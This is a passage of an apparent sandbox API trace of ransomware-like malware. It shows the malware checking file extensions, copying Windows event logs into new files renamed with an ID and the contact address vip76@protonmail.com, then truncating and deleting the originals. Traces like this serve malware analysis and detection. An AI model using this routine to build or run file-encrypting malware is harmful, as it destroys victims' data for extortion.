	[0077.470] lstrlenW (lpString=".pdf") returned 4
	[0077.470] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.470] lstrlenW (lpString=".xls") returned 4
	[0077.470] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.470] lstrlenW (lpString=".xlsx") returned 5
	[0077.470] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.470] lstrlenW (lpString=".ppt") returned 4
	[0077.470] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0077.470] lstrlenW (lpString=".zip") returned 4
	[0077.470] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.470] lstrlenW (lpString=".rar") returned 4
	[0077.470] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.470] lstrlenW (lpString=".bz2") returned 4
	[0077.470] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.470] lstrlenW (lpString=".7z") returned 3
	[0077.470] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0077.471] lstrlenW (lpString=".dbf") returned 4
	[0077.471] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0077.471] lstrlenW (lpString=".1cd") returned 4
	[0077.471] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0077.471] lstrlenW (lpString=".jpg") returned 4
	[0077.471] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.471] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.471] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52
	[0077.471] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.471] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0077.471] CloseHandle (hObject=0x374) returned 1
	[0077.471] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20
	[0077.472] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.472] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.472] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.472] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.472] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.472] GetLastError () returned 0x0
	[0077.472] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.475] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.477] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.477] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x13c, lpOverlapped=0x0) returned 1
	[0077.477] SetEndOfFile (hFile=0x35c) returned 1
	[0077.477] CloseHandle (hObject=0x35c) returned 1
	[0077.480] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.480] SetEndOfFile (hFile=0x374) returned 1
	[0077.482] CloseHandle (hObject=0x374) returned 1
	[0077.482] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.482] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1
	[0077.483] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0077.483] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0077.483] lstrlenW (lpString=".doc") returned 4
	[0077.483] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.483] lstrlenW (lpString=".docx") returned 5
	[0077.483] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.483] lstrlenW (lpString=".pdf") returned 4
	[0077.483] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.483] lstrlenW (lpString=".xls") returned 4
	[0077.483] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.483] lstrlenW (lpString=".xlsx") returned 5
	[0077.483] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.483] lstrlenW (lpString=".ppt") returned 4
	[0077.483] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.483] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0077.483] lstrlenW (lpString=".zip") returned 4
	[0077.483] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.483] lstrlenW (lpString=".rar") returned 4
	[0077.483] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.483] lstrlenW (lpString=".bz2") returned 4
	[0077.483] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.483] lstrlenW (lpString=".7z") returned 3
	[0077.483] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.483] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0077.484] lstrlenW (lpString=".dbf") returned 4
	[0077.484] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.484] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0077.484] lstrlenW (lpString=".1cd") returned 4
	[0077.484] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.484] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0077.484] lstrlenW (lpString=".jpg") returned 4
	[0077.484] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.484] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0077.484] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0077.484] lstrlenW (lpString=".doc") returned 4
	[0077.484] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.484] lstrlenW (lpString=".docx") returned 5
	[0077.484] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.484] lstrlenW (lpString=".pdf") returned 4
	[0077.484] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.484] lstrlenW (lpString=".xls") returned 4
	[0077.484] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.484] lstrlenW (lpString=".xlsx") returned 5
	[0077.484] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.484] lstrlenW (lpString=".ppt") returned 4
	[0077.484] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.484] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0077.484] lstrlenW (lpString=".zip") returned 4
	[0077.484] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.484] lstrlenW (lpString=".rar") returned 4
	[0077.485] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.485] lstrlenW (lpString=".bz2") returned 4
	[0077.485] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.485] lstrlenW (lpString=".7z") returned 3
	[0077.485] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0077.485] lstrlenW (lpString=".dbf") returned 4
	[0077.485] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0077.485] lstrlenW (lpString=".1cd") returned 4
	[0077.485] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0077.485] lstrlenW (lpString=".jpg") returned 4
	[0077.485] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.485] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.485] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44
	[0077.485] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.486] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0077.486] CloseHandle (hObject=0x374) returned 1
	[0077.486] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20
	[0077.486] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.486] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.486] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.486] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.486] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.487] GetLastError () returned 0x0
	[0077.487] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.677] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.679] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.679] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x12c, lpOverlapped=0x0) returned 1
	[0077.679] SetEndOfFile (hFile=0x35c) returned 1
	[0077.679] CloseHandle (hObject=0x35c) returned 1
	[0077.701] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.701] SetEndOfFile (hFile=0x374) returned 1
	[0077.703] CloseHandle (hObject=0x374) returned 1
	[0077.703] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.704] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1
	[0077.704] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0077.704] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0077.704] lstrlenW (lpString=".doc") returned 4
	[0077.704] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.704] lstrlenW (lpString=".docx") returned 5
	[0077.704] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.704] lstrlenW (lpString=".pdf") returned 4
	[0077.704] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.704] lstrlenW (lpString=".xls") returned 4
	[0077.704] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.704] lstrlenW (lpString=".xlsx") returned 5
	[0077.705] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.705] lstrlenW (lpString=".ppt") returned 4
	[0077.705] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.705] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0077.705] lstrlenW (lpString=".zip") returned 4
	[0077.705] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.705] lstrlenW (lpString=".rar") returned 4
	[0077.705] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.705] lstrlenW (lpString=".bz2") returned 4
	[0077.705] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.705] lstrlenW (lpString=".7z") returned 3
	[0077.705] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.705] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0077.705] lstrlenW (lpString=".dbf") returned 4
	[0077.705] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.705] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0077.705] lstrlenW (lpString=".1cd") returned 4
	[0077.705] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.705] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0077.705] lstrlenW (lpString=".jpg") returned 4
	[0077.705] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.705] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0077.705] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0077.706] lstrlenW (lpString=".doc") returned 4
	[0077.706] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.706] lstrlenW (lpString=".docx") returned 5
	[0077.706] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.706] lstrlenW (lpString=".pdf") returned 4
	[0077.706] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.706] lstrlenW (lpString=".xls") returned 4
	[0077.706] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.706] lstrlenW (lpString=".xlsx") returned 5
	[0077.706] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.706] lstrlenW (lpString=".ppt") returned 4
	[0077.706] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.706] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0077.706] lstrlenW (lpString=".zip") returned 4
	[0077.706] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.706] lstrlenW (lpString=".rar") returned 4
	[0077.706] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.706] lstrlenW (lpString=".bz2") returned 4
	[0077.706] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.706] lstrlenW (lpString=".7z") returned 3
	[0077.706] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.706] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0077.706] lstrlenW (lpString=".dbf") returned 4
	[0077.706] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.706] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0077.707] lstrlenW (lpString=".1cd") returned 4
	[0077.707] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.707] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0077.707] lstrlenW (lpString=".jpg") returned 4
	[0077.707] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.707] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.707] lstrlenW (lpString="Setup.evtx") returned 10
	[0077.707] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.708] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0077.708] CloseHandle (hObject=0x374) returned 1
	[0077.708] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20
	[0077.708] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.708] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.708] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.708] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.708] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.709] GetLastError () returned 0x0
	[0077.709] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.900] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.902] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.902] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0077.902] SetEndOfFile (hFile=0x35c) returned 1
	[0077.902] CloseHandle (hObject=0x35c) returned 1
	[0077.905] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.905] SetEndOfFile (hFile=0x374) returned 1
	[0077.906] CloseHandle (hObject=0x374) returned 1
	[0077.906] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.906] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1
	[0077.907] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0077.907] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0077.907] lstrlenW (lpString=".doc") returned 4
	[0077.907] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.907] lstrlenW (lpString=".docx") returned 5
	[0077.907] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.907] lstrlenW (lpString=".pdf") returned 4
	[0077.907] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.907] lstrlenW (lpString=".xls") returned 4
	[0077.907] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.907] lstrlenW (lpString=".xlsx") returned 5
	[0077.907] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.907] lstrlenW (lpString=".ppt") returned 4
	[0077.907] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.907] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0077.907] lstrlenW (lpString=".zip") returned 4
	[0077.907] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.907] lstrlenW (lpString=".rar") returned 4
	[0077.907] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.907] lstrlenW (lpString=".bz2") returned 4
	[0077.907] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.907] lstrlenW (lpString=".7z") returned 3
	[0077.907] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.907] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0077.907] lstrlenW (lpString=".dbf") returned 4
	[0077.907] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.907] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0077.907] lstrlenW (lpString=".1cd") returned 4
	[0077.907] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.907] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0077.908] lstrlenW (lpString=".jpg") returned 4
	[0077.908] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.908] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0077.908] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0077.908] lstrlenW (lpString=".doc") returned 4
	[0077.908] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.908] lstrlenW (lpString=".docx") returned 5
	[0077.908] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.908] lstrlenW (lpString=".pdf") returned 4
	[0077.908] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.908] lstrlenW (lpString=".xls") returned 4
	[0077.908] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.908] lstrlenW (lpString=".xlsx") returned 5
	[0077.908] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.908] lstrlenW (lpString=".ppt") returned 4
	[0077.908] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.908] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0077.908] lstrlenW (lpString=".zip") returned 4
	[0077.908] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.908] lstrlenW (lpString=".rar") returned 4
	[0077.908] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.908] lstrlenW (lpString=".bz2") returned 4
	[0077.908] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.908] lstrlenW (lpString=".7z") returned 3
	[0077.908] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.908] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0077.908] lstrlenW (lpString=".dbf") returned 4
	[0077.908] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.908] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0077.908] lstrlenW (lpString=".1cd") returned 4
	[0077.908] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.908] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0077.909] lstrlenW (lpString=".jpg") returned 4
	[0077.909] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.909] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.909] lstrlenW (lpString="System.evtx") returned 11
	[0077.909] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.910] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=1118208) returned 1
	[0077.910] CloseHandle (hObject=0x374) returned 1
